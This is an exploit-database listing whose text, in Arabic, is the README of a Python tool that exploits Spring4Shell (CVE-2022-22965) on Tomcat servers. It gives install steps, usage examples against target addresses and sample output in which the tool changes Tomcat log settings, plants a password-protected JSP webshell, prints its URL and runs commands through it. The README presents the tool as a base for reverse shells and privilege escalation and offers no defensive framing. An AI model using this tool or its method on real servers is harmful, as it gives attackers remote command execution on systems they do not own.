Sploitus

Exploit for CVE-2022-22965

kitploit · 2026-08-25

Exploit Code

MARKDOWN95 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-P1CKZI-CVE-2022-22965
# spring4shell ⭐

تطبيق بايثون لـ CVE-2022-22965 يوفر موجهًا للمستخدم بأسلوب جلسة ssh.  
النص البرمجي مصمم ليكون سهل الفهم والتنفيذ، مع مراعاة سهولة القراءة وإمكانية الوصول - اعتمادًا على اختيار المستخدم. مصمم لاستغلال الثغرة على خوادم tomcat. سيتم تعيين حقل fileDateFormat على الخادم وإلغاء تعيينه كجزء من النص البرمجي، مما يسمح بتشغيل الاستغلال عدة مرات. قد يكون التنظيف مطلوبًا.

## الاستغلال - CVE-2022-22965 ❗

ثغرة موجودة في إطار عمل java spring قبل الإصدار 5.2، وكذلك في الإصدارات 5.3.0-17 و5.2.0-19، والتي تعمل على إصدار من Java Development Kit أكبر من أو يساوي 9. مزيد من المعلومات:  
https://vulners.com/cve/CVE-2022-22965

## المتطلبات الأساسية ✔

وحدة requests ووحدة BeautifulSoup مطلوبتان لتشغيل الاستغلال. يمكن تثبيتهما باستخدام:  
`pip3 install bs4`  
`pip3 install requests`  
جميع الوحدات الأخرى مضمّنة في python3.

## الاستخدام ℹ

يتطلب النص البرمجي فقط عنوان url للخادم الضعيف للتشغيل. ومع ذلك، هناك خيارات أخرى لسهولة الوصول، وما إلى ذلك.  
مخرجات --help:

root@kitploit:~
    
    
    usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
    
    spring4shell_v3.py exploits an RCE vulnerability in
    applications running spring core java framework.
    
    positional arguments:
      address               ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
    
    optional arguments:
      -h, --help            show this help message and exit
      -f FILENAME, --filename FILENAME
                            name of the file to create and upload
      -p PASSWORD, --password PASSWORD
                            password to protect the uploaded shell
      -d DIRECTORY, --directory DIRECTORY
                            The upload path for the file
      -a, --accessible      turns off features which may negatively affect screen readers
      -n, --no-colour       removes colour output
    
    example:
            spring4shell_v3.py http://10.10.10.10/
            spring4shell_v3.py http://hostname:8080/ -p 'password123'
            spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
    
    

* * *

مثال على المخرجات:

root@kitploit:~
    
    
    ./spring4shell http://spring-vuln.local
    
                    /           /  |      /         / /                                                            
     ___  ___  ___    ___  ___ (___| ___ (___  ___ ( (                                                             
    |___ |   )|   )| |   )|   )    )|___ |   )|___)| |                                                             
     __/ |__/ |    | |  / |__/    /  __/ |  / |__  | |                                                             
         |                __/                                                                                      
    CVE-2022-22965.
    [i] attempting to change tomcat log variables.
    [+] log variables set successfully.
    [+] attempting to change tomcat log location variables.
    [+] log successfully modified.
    [i] waiting for tomcat changes.
    [i] sending the webshell.
    [i] resetting the log variables.
    [i] shell location:
    [i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
    [i] or run commands here. type 'exit' to quit.
    spring4shell:some-email@example.com $ whoami
    service
    
    spring4shell:some-email@example.com $
    

## القيود ⚠

غني عن القول أن النص البرمجي لا يوفر للمستخدم شلًا كاملة، ولكنه مصمم كمنصة لتحقيق شل عكسية كاملة، ورفع الامتيازات، وما إلى ذلك، على الهدف.  
يحاول النص البرمجي التقاط المستخدم/الخدمة التي تشغّل الخادم الضعيف لاستخدامها كجزء من موجه الأوامر الزائف في البرنامج، على الرغم من أن هذا ليس موثوقًا دائمًا.

## ملاحظات 📝

كان النص البرمجي في الأساس تمرينًا في كتابة نصوص بايثون لاستغلال واحد مع مراعاة سهولة القراءة وإمكانية الوصول. مصمم لسهولة الاستخدام والفهم. يحاول التعامل مع الاستثناءات الشائعة.

## الإشادات 👍

https://skerritt.blog/a11y/ \- تطبيق إمكانية الوصول.